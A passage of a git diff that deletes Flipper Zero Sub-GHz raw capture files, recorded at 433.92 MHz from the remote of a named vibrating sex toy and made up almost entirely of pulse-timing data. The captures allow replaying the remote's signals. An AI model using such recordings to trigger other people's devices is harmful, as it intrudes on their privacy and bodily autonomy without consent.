-100 331 -98 1395 -100 629 -134 427 -164 197 -100 433 -100 1795 -100 531 -66 2741 -100 2387 -66 1429 -100 165 -68 5063 -132 395 -132 2147 -230 1363 -66 895 -134 1391 -134 167 -232 1391 -198 691 -98 295 -132 427 -166 331 -268 2455 -98 885 -66 461 -66 365 -200 1821 -100 401 -66 1357 -68 1393 -66 661 -66 331 -236 2625 -66 1157 -132 1957 -66 463 -134 501 -66 2649 -100 497 -166 2389 -100 325 -98 1249 -100 329 -130 197 -64 1317 -98 459 -130 1947 -166 1191 -100 495 -134 657 -98 1355 -98 2015 -132 329 -68 3087 -100 1693 -232 1691 -64 263 -66 4387 -100 2685 -66 1687 -68 2955 -64 949 -262 2425 -68 763 -100 695 -100 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_1.sub deleted file mode 100644 index 58910607b..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2835 -132 2005 -66 163 -66 1557 -66 963 -198 1067 202 2269 -66 1171 -202 1561 -66 2931 -100 629 -66 601 -232 685 -132 5331 -98 1883 -66 657 -66 163 -68 1229 -68 663 -166 1699 -100 429 -66 163 -132 823 -66 3615 -66 2273 -66 523 -98 5441 -66 1123 -100 133 -66 2887 -198 529 -130 163 -130 65 -100 295 -98 65 -164 227 -198 329 -66 2171 -66 503 -98 363 -100 2223 -100 563 -98 259 -164 2625 -100 331 -66 465 -232 1753 -134 595 -66 627 -66 1127 -66 163 -98 1215 -198 887 -132 625 -132 97 -68 327 -98 5479 -66 199 -168 133 -66 3633 -98 1381 -132 2717 -66 4911 -234 697 -264 167 -232 795 -66 731 -134 495 -100 2987 -98 2271 -98 333 -66 401 -100 133 -264 695 -68 2983 -66 723 -100 1831 -66 7197 -100 1781 -68 129 -66 2001 -164 2417 -102 5117 -66 1055 -100 565 -134 793 -66 1281 -230 493 -134 1297 -132 3017 -100 1095 -100 6743 -66 523 -162 1257 -68 7961 -100 1287 -66 591 -66 2481 -100 231 -168 2341 -130 6849 -66 1257 -66 363 -66 65 -66 1585 -68 165 -132 1295 -134 495 -132 1263 -98 2263 -134 433 -66 365 -134 97 -98 427 -132 2981 -132 131 -64 1185 -132 301 -68 2251 -68 5023 -66 593 -164 627 -102 4007 -200 331 -66 995 -66 2391 -166 1789 -132 199 -130 1219 -66 1909 -66 265 -66 3177 -132 467 -100 631 -100 829 -98 197 -98 4457 -66 233 -100 1293 -68 2393 -66 329 -98 1867 -166 165 -102 1435 -66 229 -66 591 -166 1187 -232 1989 -66 3055 -132 893 -98 99 -232 831 -66 495 -68 363 -234 263 -98 563 -68 599 -64 265 -134 4807 -134 9641 -298 4413 -166 825 -66 497 -332 6735 -66 399 -132 1493 -64 631 -166 363 -100 2357 -100 3183 -854 411 -838 425 -850 415 -870 419 -846 411 -844 413 -842 429 -846 1701 -418 419 -418 431 -410 447 -416 409 -440 417 -418 417 -452 409 -850 411 -440 429 -388 447 -416 439 -410 417 -872 409 -408 413 -446 421 -426 409 -842 421 -868 415 -410 445 -842 401 -424 447 -844 433 -388 445 -846 401 -424 441 -840 429 -836 423 -824 441 -842 409 -874 411 -846 415 -842 431 -850 411 -856 423 -868 1693 -416 409 -446 411 -420 427 -398 435 -416 445 -420 425 -440 381 -884 415 -840 415 -416 445 -416 425 -440 413 -836 413 -448 419 -414 415 -424 445 -844 433 -846 419 -414 445 -816 417 -452 405 -854 413 -418 433 -854 413 -442 407 -844 427 -854 413 -852 423 -838 419 -850 441 -838 425 -856 411 -820 451 -830 413 -872 1683 -408 423 -422 441 -412 409 -438 411 -444 415 -428 407 -442 417 -858 411 -844 -RAW_Data: 427 -428 409 -448 419 -422 399 -868 417 -418 405 -460 387 -446 417 -868 387 -880 415 -432 397 -870 417 -418 415 -866 411 -416 445 -848 409 -420 415 -846 437 -848 423 -820 411 -882 397 -868 415 -848 437 -848 387 -886 387 -878 417 -858 1665 -452 403 -424 441 -384 449 -430 425 -440 381 -450 427 -416 411 -854 413 -852 425 -442 381 -450 391 -452 445 -846 383 -442 413 -416 451 -420 409 -840 447 -844 413 -418 449 -852 411 -418 417 -878 413 -418 417 -846 435 -388 443 -848 403 -848 417 -884 387 -874 411 -848 447 -842 397 -850 413 -886 389 -872 419 -852 1661 -450 409 -424 411 -448 415 -426 411 -442 415 -408 423 -442 417 -844 439 -846 419 -416 409 -424 441 -382 447 -848 415 -416 451 -420 409 -448 381 -886 397 -864 419 -416 419 -860 413 -418 415 -848 441 -418 415 -848 441 -418 413 -876 411 -844 419 -854 381 -870 411 -876 381 -876 415 -846 427 -850 415 -854 429 -836 1705 -388 445 -416 411 -426 423 -444 415 -440 397 -424 445 -414 409 -864 417 -846 439 -418 415 -418 441 -410 415 -850 403 -460 387 -446 415 -450 405 -850 413 -852 423 -446 411 -850 411 -442 413 -838 427 -442 381 -848 435 -434 417 -106674 99 -992 167 -200 65 -496 99 -130 395 -66 65 -100 1251 -132 1741 -166 2783 -68 499 -66 1459 -98 229 -100 491 -132 163 -66 625 -66 133 -66 2813 -66 129 -66 229 -262 625 -132 491 -132 261 -132 2559 -66 267 -98 499 -66 403 -100 363 -130 1869 -66 789 -100 261 -66 955 -66 1511 -132 1251 -100 829 -164 1325 -132 1805 -66 167 -130 293 -66 197 -132 2115 -100 663 -68 501 -132 499 -100 2073 -100 65 -66 2319 -98 10871 -100 563 -68 133 -98 299 -166 793 -164 1363 -98 1031 -232 731 -66 1319 -66 559 -166 99 -102 1123 -134 795 -134 1425 -66 1061 -66 635 -98 165 -66 1723 -68 465 -100 331 -66 659 -66 393 -64 197 -132 99 -132 919 -98 923 -66 229 -68 1061 -100 731 -166 4213 -66 561 -164 3099 -96 261 -328 459 -66 229 -68 797 -66 325 -134 961 -68 463 -66 563 -100 1125 -66 165 -68 1159 -66 465 -66 2625 -100 1055 -130 197 -66 1387 -66 2091 -68 663 -100 301 -234 165 -68 731 -66 65 -166 1795 -100 923 -66 1823 -132 231 -98 129 -130 229 -98 1745 -98 295 -64 595 -66 2537 -198 1251 -66 2379 -100 1919 -98 765 -166 365 -66 859 -98 331 -98 829 -68 199 -100 199 -166 4091 -66 687 -166 1189 -132 263 -166 229 -100 333 -264 365 -100 303 -68 665 -132 1033 -98 697 -132 99 -100 365 -66 2789 -66 -RAW_Data: 1725 -132 357 -132 165 -168 13317 -66 361 -98 361 -64 5895 -66 1059 -66 3259 -96 985 -132 265 -136 1065 -164 197 -98 3013 -100 165 -100 631 -132 561 -98 393 -98 591 -64 1351 -66 699 -66 429 -68 165 -66 1361 -66 1361 -132 5561 -132 1221 -98 4125 -66 1263 -232 6821 -98 1375 -98 559 -98 883 -130 689 -98 295 -98 1289 -100 367 -66 529 -66 995 -66 697 -100 959 -66 1649 -166 2817 -66 661 -100 233 -66 2735 -132 589 -66 1249 -164 197 -66 983 -100 1115 -100 263 -66 2323 -198 629 -132 1383 -98 263 -98 757 -66 1775 -66 1911 -100 1261 -100 1361 -134 895 -102 99 -66 1493 -98 661 -66 391 -196 729 -98 2177 -98 1589 -98 929 -66 1529 -100 465 -100 3049 -100 331 -132 929 -68 167 -100 195 -132 1055 -100 301 -100 2749 -66 525 -66 2123 -66 985 -98 261 -98 455 -132 193 -164 1749 -100 365 -298 995 -66 597 -166 1599 -66 665 -64 133 -66 2643 -132 763 -100 925 -66 5467 -100 991 -66 1775 -98 493 -98 1089 -66 231 -102 1619 -100 555 -132 229 -66 3343 -166 885 -100 199 -100 765 -100 1659 -66 2059 -132 3343 -98 731 -166 263 -100 7429 -66 3891 -166 999 -198 397 -100 197 -100 1031 -132 231 -264 625 -366 231 -136 2391 -164 1227 -66 895 -66 665 -64 131 -98 425 -66 295 -166 393 -66 997 -98 1425 -98 1331 -66 2411 -100 165 -134 629 -66 265 -66 99 -66 4415 -98 923 -98 229 -64 295 -98 1753 -66 563 -100 649 -66 2217 -66 3563 -66 131 -132 229 -66 1375 -100 1089 -164 787 -64 425 -66 719 -162 129 -66 2293 -66 1419 -98 723 -360 1545 -164 1021 -98 293 -66 1591 -66 263 -134 799 -134 495 -66 6007 -66 2347 -132 4837 -100 1759 -130 131 -64 2205 -66 1159 -66 893 -100 1029 -68 397 -66 165 -68 2853 -100 1231 -68 131 -264 695 -100 133 -134 1857 -68 827 -66 465 -100 1131 -66 2023 -98 6713 -98 595 -100 1261 -66 363 -66 957 -132 99 -66 233 -66 2181 -98 1017 -132 233 -98 265 -100 597 -132 3645 -100 1091 -100 1429 -100 433 -66 457 -66 721 -98 295 -98 689 -98 657 -198 131 -66 1361 -100 1663 -66 889 -100 1187 -66 433 -100 397 -100 231 -132 197 -100 895 -100 1055 -64 991 -66 2871 -66 6433 -66 331 -98 361 -68 919 -132 4707 -98 3097 -98 633 -100 1391 -98 99 -98 1579 -132 1883 -100 365 -100 101 -66 533 -66 5087 -234 165 -66 1761 -134 1131 -264 397 -100 363 -98 665 -100 463 -100 861 -100 633 -202 1959 -66 231 -68 333 -66 263 -132 363 -98 1425 -100 1423 -132 1591 -66 299 -98 1097 -66 3647 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_2.sub deleted file mode 100644 index 6a6a81d9d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_2.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 829 -66 559 -264 1457 -66 955 -64 621 -66 8483 -100 1565 -98 99 -66 4247 -66 3423 -66 367 -100 5443 -98 7487 -132 821 -68 331 -100 1697 -100 995 -66 331 -100 199 -134 65 -134 99 -232 165 -100 467 -66 5573 -100 5505 -166 363 -68 531 -66 789 -64 131 -134 1397 -100 1059 -100 4199 -130 2659 -130 1311 -98 3249 -100 4533 -64 3007 -66 5145 -132 297 -98 3389 -98 1121 319 2711 -234 597 -66 4621 -162 659 -98 129 -98 989 -98 3583 -98 99 -98 7147 -66 1017 -230 2131 -98 2841 -66 233 -98 1257 -98 3297 -130 959 -66 231 -66 889 -132 2077 -200 2607 -100 133 -100 1459 -100 6441 -132 1789 -166 1261 -66 1017 -132 459 -100 1593 -68 1853 -164 8147 -68 2085 -66 559 -66 629 -202 1359 -66 589 -66 263 -132 131 -100 2223 -66 623 -200 4411 -98 303 -66 433 -68 1093 -66 729 -166 2393 -298 99 -66 2491 -100 4975 -66 765 -166 11757 -66 1575 -98 1325 -132 1821 -66 2391 -68 3581 -66 2937 -66 1511 -66 3719 -98 1231 -66 5743 -132 2091 -166 2511 -66 1649 -66 269 -100 1753 -68 729 -132 1259 -132 359 -100 699 -134 2227 -132 629 -228 5745 -68 859 -128 4239 -66 993 -98 299 -98 501 -100 431 -66 929 -66 601 -68 3391 -66 1161 -68 265 -66 1593 -100 229 -132 4467 -66 1507 -132 4569 -98 621 -98 1807 -66 1395 -100 789 -66 1357 -132 67 -132 1297 -134 533 -66 757 -66 1745 -98 1153 -66 1593 -264 263 -68 1557 -66 3897 -64 757 -132 923 -66 2823 -100 133 -98 1031 -66 463 -100 233 -100 897 -132 3385 -66 297 -66 929 -66 769 -102 2917 -100 131 -66 1091 -66 295 -132 1223 -66 959 -100 1757 -98 399 -66 3325 -66 297 -66 797 -98 829 -66 2151 -98 731 -100 165 -66 1761 -200 2645 -130 729 -66 989 -66 861 -166 2915 -100 167 -66 4715 -66 561 -64 459 -98 229 -66 2463 -66 195 -132 431 -66 1759 -66 2425 -100 131 -132 2939 -98 657 -98 163 -98 359 -66 981 -100 767 -98 3315 -66 767 -130 863 -166 563 -66 2893 -66 197 -98 1415 -130 861 -66 1595 -132 1155 -100 331 -130 753 -66 5609 -100 597 -200 887 -98 825 -68 167 -66 5619 -66 197 -100 1259 -100 327 -64 1383 -198 2317 -100 2321 -134 4847 -132 1223 -68 889 -98 165 -132 2921 -68 2689 -66 1555 -66 723 -66 1737 -66 461 -100 787 -66 3383 -100 397 -100 197 -66 1283 -100 1585 -68 565 -98 235 -166 233 -232 2837 -130 2719 -100 5479 -66 263 -136 4249 -196 1381 -132 395 -134 97 -66 231 -66 467 -132 459 -66 365 -100 1433 -100 2213 -132 1823 -98 965 -66 4693 -98 2035 -98 455 -66 -RAW_Data: 359 -66 1687 -68 627 -66 1085 -862 415 -842 415 -880 397 -852 415 -854 425 -840 417 -884 379 -880 1675 -418 419 -440 409 -418 411 -448 409 -446 381 -450 423 -410 443 -842 401 -848 415 -442 409 -416 447 -422 409 -840 445 -418 409 -446 415 -408 437 -844 423 -848 417 -416 417 -866 415 -416 433 -852 413 -444 395 -852 415 -452 401 -850 415 -836 443 -834 411 -870 411 -872 409 -864 383 -878 397 -850 415 -884 387 -872 1677 -418 415 -454 399 -432 417 -448 421 -414 409 -426 409 -448 413 -852 411 -844 423 -414 443 -418 409 -870 417 -416 409 -456 389 -446 415 -854 395 -468 383 -882 399 -434 417 -846 415 -434 411 -870 379 -448 399 -868 415 -418 451 -832 411 -846 425 -854 417 -870 387 -870 411 -866 415 -846 433 -846 387 -882 387 -876 1689 -416 407 -460 387 -444 417 -452 401 -424 441 -416 411 -424 427 -840 417 -850 439 -420 413 -454 401 -860 415 -418 409 -426 411 -446 417 -852 393 -472 413 -836 411 -444 417 -836 441 -416 417 -852 395 -472 381 -848 449 -406 427 -840 445 -846 411 -846 423 -852 415 -850 397 -868 417 -846 435 -846 387 -886 387 -876 1665 -448 409 -436 417 -448 385 -442 409 -418 415 -454 409 -444 413 -852 397 -862 417 -418 441 -410 415 -848 407 -454 411 -416 419 -440 411 -842 427 -410 449 -844 435 -388 447 -844 437 -390 445 -844 431 -388 445 -844 437 -388 447 -844 441 -812 449 -852 387 -842 447 -846 415 -842 421 -836 415 -862 407 -852 417 -864 1665 -454 405 -398 441 -416 417 -418 437 -428 415 -416 417 -452 403 -850 413 -866 409 -418 417 -452 403 -850 415 -442 395 -424 447 -414 441 -824 417 -416 445 -846 413 -416 445 -846 411 -418 417 -848 439 -388 447 -846 439 -418 415 -844 407 -848 449 -818 423 -840 453 -818 443 -844 419 -854 413 -840 411 -878 411 -848 1701 -416 411 -424 443 -414 411 -458 389 -442 415 -442 409 -416 417 -848 439 -844 423 -430 407 -416 445 -850 411 -418 415 -420 449 -406 423 -840 447 -416 415 -840 415 -440 413 -846 419 -416 443 -848 411 -416 451 -850 411 -418 417 -107956 163 -100 131 -724 261 -132 4549 -134 1923 -98 469 -100 763 -66 395 -64 195 -128 329 -198 3329 -98 131 -66 885 -66 927 -66 8037 -66 1261 -166 261 -68 3579 -66 1315 -100 695 -100 695 -100 367 -134 361 -100 1093 -66 625 -98 361 -98 1415 -100 397 -100 533 -100 433 -66 367 -100 427 -134 197 -198 1149 -100 555 -98 591 -66 985 -98 493 -66 465 -100 301 -66 657 -66 655 -98 951 -164 2169 -100 -RAW_Data: 363 -100 7927 -100 8081 -66 129 -66 857 -266 201 -66 1557 -100 397 -230 1315 -100 755 -98 199 -100 199 -100 563 -166 395 -66 457 -66 327 -66 97 -100 693 -232 533 -100 763 -100 2429 -66 661 -166 399 -102 4161 -132 6551 -66 865 -100 4565 -98 133 -66 3395 -66 11775 -100 3875 -68 427 -134 8711 -100 327 -66 593 -98 1215 -98 391 -198 721 -132 857 -98 787 -66 5291 -66 1115 -100 10413 -164 1013 -98 1913 -66 267 -66 303 -100 1589 -266 1127 -100 2225 -164 1743 -198 1251 -100 299 -66 367 -100 97 -66 995 -66 1525 -66 497 -100 1359 -68 955 -134 657 -264 97 -232 493 -66 193 -98 821 -132 65 -100 65 -66 1911 -66 2387 -64 3263 -100 1195 -100 99 -66 1551 -68 1091 -132 1293 -98 2449 -66 261 -102 2471 -66 695 -68 363 -134 297 -68 2289 -264 397 -134 663 -166 3379 -98 1901 -68 335 -66 665 -66 597 -166 563 -132 2013 -168 1661 -134 465 -66 631 -100 9635 -66 2973 -132 131 -100 497 -66 1157 -132 4025 -68 559 -100 2089 -66 2081 -332 3557 -66 129 -66 1327 -166 267 -132 5597 -100 1085 -132 1031 -66 1191 -66 133 -132 99 -66 5007 -66 361 -66 359 -98 259 -130 857 -100 2789 -100 3831 -98 2165 -132 3743 -132 99 -68 265 -132 301 -134 1129 -66 231 -66 697 -98 4417 -100 661 -98 297 -132 457 -328 691 -100 2497 -100 331 -134 1797 -100 231 -234 565 -132 595 -100 1161 -100 1193 -100 1991 -134 3971 -230 459 -66 131 -66 1021 -66 1589 -66 1453 -130 4015 -132 1555 -98 1523 -66 1425 -66 1097 -66 131 -168 1027 -66 797 -98 1431 -68 2589 -166 1645 -98 5473 -68 1061 -132 4157 -68 2235 -130 987 -100 3489 -166 4875 -100 297 -132 1031 -132 297 -100 397 -68 1559 -66 3657 -66 659 -66 165 -66 97 -98 1477 -66 983 -132 2469 -100 2419 -66 959 -100 1529 -134 633 -66 2441 -132 427 -166 527 -198 397 -66 297 -230 689 -132 1885 -100 459 -100 1327 -98 661 -294 795 -68 297 -100 733 -166 995 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_3.sub deleted file mode 100644 index 3924c17c9..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_3.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -166 2157 -66 891 -66 2157 -66 459 -442 2903 -100 1487 -100 2189 -130 2947 -66 1227 -68 231 -68 599 -100 1229 -98 397 -100 1085 -66 1549 -98 2043 -66 831 -132 2723 -134 1125 -100 2819 -134 197 -100 1225 -66 661 -132 4789 -66 1811 -198 1643 -66 1629 -134 857 -98 201 -132 1055 -66 459 -66 1651 -132 7369 -66 721 -100 1623 -100 4737 -66 1363 -66 2411 -66 2417 -98 1781 -66 863 -66 697 -132 327 -100 267 -66 3637 -132 1553 -132 719 -66 787 -166 999 -68 497 -134 3951 -134 697 -66 1621 -68 3917 -66 595 -132 1433 -228 1415 -132 2573 -66 4135 -66 163 -98 1411 -132 629 -66 627 -68 1651 -66 6325 -66 1025 -68 2255 -66 1525 -166 2455 -166 763 -134 431 -130 1061 -66 4067 -66 599 -132 4059 -134 67 -134 1959 -134 1151 -164 3339 -98 961 -66 797 -100 533 -98 1827 -132 99 -68 765 -198 2589 -66 1027 -66 1389 -132 1975 -132 7915 -132 2261 -100 333 -66 97 -100 1479 -130 3837 -100 3453 -134 503 -66 365 -132 5397 -100 2723 -68 2087 -66 2129 -132 1029 -100 859 -132 4357 -134 3425 -100 4283 -98 529 -100 2513 -98 985 -98 3679 -132 2633 -100 1157 -98 165 -102 1163 -134 1693 -68 565 -102 797 -68 1361 -100 6135 -100 1557 -96 457 -66 557 -100 955 -132 1425 -134 1503 -66 365 -132 133 -66 5163 -66 163 -98 821 -66 559 -164 1477 -66 327 -66 1777 -200 3319 -68 1891 -166 467 -68 727 -134 1153 -66 1947 -100 765 -66 4113 -98 1247 -66 7277 -134 329 -66 10217 -66 4653 -196 1381 -98 199 -66 663 -100 693 -100 297 -66 2207 -98 197 -66 3683 -66 2521 -66 1165 -66 99 -166 701 -100 1687 -66 765 -128 1545 -100 1453 -66 4093 -100 727 -132 533 -100 533 -66 301 -100 995 -66 1639 -100 1445 -98 863 -228 263 -100 7941 -230 133 -134 199 -100 363 -66 2949 -166 3129 -66 397 -100 2491 -68 2221 -98 495 -66 165 -66 759 -98 163 -132 791 -264 691 -66 1347 -164 4849 -134 1819 -68 1033 -168 827 -166 3533 -68 1771 -100 621 -100 4869 -98 1549 -100 829 -132 1559 -68 985 -132 327 -132 1413 -134 1259 -100 601 -100 1155 -164 1289 -98 4915 -66 4957 -100 1135 -66 1461 -100 765 -66 563 -166 765 -66 4611 -68 3517 -132 3197 -66 3147 -98 1155 -132 2363 -132 163 -66 229 -98 821 -132 565 -66 395 -98 2083 -100 7267 -100 631 -134 931 -66 1021 -66 4527 -66 395 -100 1645 -66 1945 -66 819 -100 1253 -66 65 -130 131 -130 2649 -68 3241 -66 1823 -98 333 -134 4571 -66 1223 -66 363 -100 5947 -66 885 -166 1119 -66 1031 -100 399 -66 2553 -66 1859 -68 1353 -98 65 -98 4991 -RAW_Data: -66 1057 -100 657 -66 561 -132 1057 -98 3337 -166 1197 -66 2161 -66 231 -66 2165 -100 297 -66 929 -66 2747 -844 427 -850 383 -866 413 -872 411 -860 417 -844 403 -852 415 -852 1707 -434 387 -444 385 -450 393 -450 409 -426 409 -450 407 -422 411 -872 409 -866 417 -416 411 -434 417 -882 399 -428 387 -478 385 -450 405 -854 415 -410 437 -846 425 -412 445 -846 403 -424 445 -842 401 -422 443 -846 403 -424 445 -848 403 -852 415 -860 411 -874 417 -836 411 -840 429 -848 449 -818 423 -870 413 -848 1701 -416 407 -424 443 -384 445 -420 409 -448 415 -454 401 -428 407 -844 427 -850 417 -442 395 -424 447 -814 427 -868 423 -426 409 -414 451 -818 445 -846 419 -852 351 -478 429 -852 413 -690 167 -830 441 -418 429 -852 411 -420 431 -852 417 -842 409 -870 419 -848 435 -846 385 -854 423 -878 413 -848 415 -844 425 -850 1139 -416 445 -408 437 -386 447 -418 439 -410 415 -414 445 -410 445 -842 437 -846 385 -452 411 -426 443 -810 463 -814 447 -410 445 -382 439 -866 419 -844 433 -846 385 -452 407 -854 413 -440 411 -844 425 -426 443 -844 401 -426 443 -842 431 -814 453 -850 387 -876 421 -856 413 -846 421 -856 411 -838 413 -852 451 -838 1709 -418 411 -396 435 -416 451 -424 397 -436 415 -452 387 -454 409 -852 413 -856 395 -436 413 -452 385 -854 425 -842 455 -390 435 -436 415 -848 409 -846 451 -842 399 -426 411 -876 401 -424 445 -844 401 -422 443 -846 401 -424 445 -842 399 -848 417 -856 425 -870 409 -862 419 -846 433 -846 383 -854 425 -840 413 -874 1665 -442 409 -416 417 -418 441 -442 411 -418 395 -452 441 -390 443 -846 401 -848 415 -452 403 -424 441 -844 401 -852 415 -416 435 -426 441 -840 399 -852 411 -866 411 -410 453 -838 427 -412 447 -844 439 -388 447 -844 435 -388 445 -846 403 -882 383 -854 421 -874 411 -844 413 -844 427 -854 413 -854 425 -838 441 -824 1711 -428 407 -416 451 -422 429 -408 415 -416 417 -450 407 -424 443 -844 399 -850 413 -410 457 -418 417 -844 405 -848 445 -410 445 -412 409 -864 419 -846 403 -850 447 -408 443 -812 429 -426 409 -844 427 -424 443 -844 401 -426 445 -109652 65 -98 197 -266 229 -164 65 -462 129 -100 1255 -100 961 -100 795 -66 467 -100 265 -102 1867 -100 3093 -100 325 -132 129 -100 199 -68 429 -100 1559 -66 465 -64 633 -66 1361 -298 267 -66 2855 -100 3557 -66 1319 -98 129 -66 461 -228 789 -132 457 -66 719 -98 1259 -198 1193 -66 3057 -164 363 -198 2941 -66 753 -66 327 -RAW_Data: -130 197 -132 491 -100 1839 -166 325 -66 12735 -100 961 -66 4147 -66 229 -132 1705 -66 1973 -66 497 -98 231 -100 925 -130 195 -66 3239 -166 131 -66 2221 -198 12239 -66 265 -132 3773 -100 395 -130 823 -98 8669 -264 6015 -66 3639 -100 4571 -100 1329 -200 2279 -68 131 -100 1263 -98 233 -134 1099 -98 1297 -100 493 -100 825 -98 2129 -66 963 -166 859 -66 1283 -66 165 -66 2373 -98 327 -164 295 -130 1083 -66 359 -100 1227 -166 361 -66 163 -98 99 -164 1747 -98 625 -166 863 -100 661 -68 1989 -66 1327 -164 829 -132 2923 -100 3691 -68 1497 -66 7155 -166 97 -332 3477 -168 1325 -100 863 -66 297 -134 1709 -98 363 -66 131 -68 1627 -66 335 -66 9805 -66 2301 -198 1027 -132 1331 -66 3005 -100 693 -68 2639 -132 199 -166 859 -98 1573 -100 2449 -198 131 -132 525 -98 457 -66 559 -66 1053 -100 297 -66 697 -68 563 -132 753 -66 997 -68 731 -100 331 -166 397 -102 197 -66 1295 -132 2583 -166 1487 -64 2037 -132 1123 -98 3455 -98 1119 -100 827 -66 3015 -132 933 -66 3303 -130 1611 -66 853 -98 691 -98 131 -66 491 -100 721 -66 1083 -100 5291 -68 997 -100 235 -134 797 -164 491 -98 329 -66 2839 -66 2607 -68 2325 -98 1061 -166 3627 -64 627 -264 2859 -166 3723 -132 131 -98 297 -66 919 -66 459 -98 1179 -132 331 -100 1325 -68 363 -68 495 -168 1293 -166 133 -98 985 -66 195 -130 9041 -166 759 -200 2849 -66 267 -134 65 -68 2391 -66 231 -100 265 -66 731 -98 1257 -96 261 -64 591 -132 459 -132 559 -98 489 -132 2663 -100 2969 -66 1149 -66 2375 -164 97 -66 883 -98 1383 -132 489 -66 431 -66 1281 -134 3465 -230 3399 -66 3495 -100 333 -100 99 -100 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_4.sub deleted file mode 100644 index cddf0574b..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2085 -68 1027 -68 1195 -100 827 -66 965 -100 65 -164 1891 -66 67 -66 1857 1057 1855 -66 2429 -98 1891 -66 167 -100 397 -130 3617 -98 1127 -100 1293 -66 1461 -66 1183 -66 2615 -68 3183 -64 4407 -66 1027 -100 231 -100 335 -100 1889 -134 1559 -98 1167 -130 363 -166 659 -100 1083 -66 1407 -132 163 -166 2507 -198 165 -64 359 -164 1545 -132 163 -66 7001 -100 1979 -200 1193 -66 827 -100 1249 -64 919 -98 687 -130 325 -66 1087 -98 1533 -66 897 -98 1645 -362 361 -66 195 -66 365 -66 789 -198 627 -68 131 -100 565 -66 659 -66 1315 -66 1317 -230 1973 -66 789 -64 1903 -168 1331 -98 3173 -134 5667 -68 933 -66 97 -66 525 -100 2977 -100 1325 -66 1257 -100 2905 -130 689 -100 9083 -100 863 -100 863 -132 167 -68 499 -68 1095 -100 661 -66 561 -132 455 -132 163 -66 489 -66 3183 -132 1197 -100 889 -66 1479 -66 3611 -98 859 -66 1225 -100 463 -66 297 -66 431 -66 3547 -98 2039 -128 1851 -68 333 -130 659 -66 2347 -66 2481 -100 2823 -66 1939 -66 4059 -66 1083 -100 431 -66 5453 -100 853 -66 4267 -66 5259 -68 2347 -66 133 -100 2155 -100 633 -164 361 -66 1247 -98 1051 -64 195 -196 359 -230 625 -66 5645 -100 561 -132 331 -66 365 -100 497 -100 65 -164 463 -102 3515 -66 1565 -100 399 -100 1823 -100 1163 -68 859 -100 2009 -198 1517 -66 1461 -66 1125 -66 3791 -68 197 -100 499 -100 691 -66 1817 -132 361 -66 729 -66 299 -66 629 -132 1465 -132 165 -362 433 -858 411 -854 399 -866 419 -848 433 -836 425 -818 441 -878 399 -866 1701 -418 417 -416 413 -422 421 -444 415 -418 433 -430 407 -416 417 -848 441 -844 425 -426 441 -382 451 -854 411 -844 421 -396 439 -414 447 -846 413 -844 361 -918 417 -416 417 -868 415 -418 433 -984 279 -426 417 -842 405 -444 411 -848 451 -834 413 -844 427 -834 447 -836 413 -856 423 -838 453 -850 411 -844 419 -836 1699 -448 381 -450 411 -424 445 -412 421 -426 409 -444 411 -420 427 -868 383 -868 413 -450 403 -850 413 -420 433 -398 439 -416 417 -848 439 -418 415 -418 439 -840 419 -418 407 -882 419 -382 447 -846 413 -416 445 -846 415 -416 417 -848 441 -846 419 -836 415 -856 423 -874 413 -842 411 -842 429 -852 411 -856 425 -838 1703 -418 417 -416 439 -412 415 -418 451 -410 443 -412 407 -438 415 -848 441 -820 453 -382 445 -844 415 -418 451 -384 437 -434 417 -848 419 -430 409 -448 411 -856 397 -432 415 -848 441 -392 441 -848 409 -418 409 -874 407 -436 419 -848 411 -846 447 -842 431 -812 -RAW_Data: 415 -864 387 -844 453 -822 445 -842 425 -856 411 -856 1681 -424 411 -446 415 -420 435 -398 441 -416 417 -420 451 -406 421 -876 413 -842 413 -416 447 -844 411 -418 419 -416 441 -408 415 -848 441 -396 451 -418 413 -836 409 -448 415 -834 441 -418 435 -854 411 -422 427 -834 415 -452 409 -854 411 -856 425 -840 421 -848 439 -846 421 -820 453 -844 405 -862 419 -848 433 -814 1701 -420 415 -418 437 -426 441 -380 453 -428 415 -414 427 -442 411 -824 435 -864 419 -414 419 -826 445 -416 449 -386 439 -396 419 -846 453 -424 399 -432 415 -874 409 -444 381 -872 409 -414 445 -834 409 -450 423 -834 415 -410 437 -842 429 -846 413 -870 417 -842 409 -866 419 -848 403 -882 383 -854 423 -874 413 -842 1671 -452 405 -428 409 -416 451 -420 417 -406 441 -416 411 -436 427 -838 427 -854 411 -422 429 -822 413 -446 421 -428 409 -416 445 -844 417 -416 451 -422 397 -864 419 -416 443 -824 417 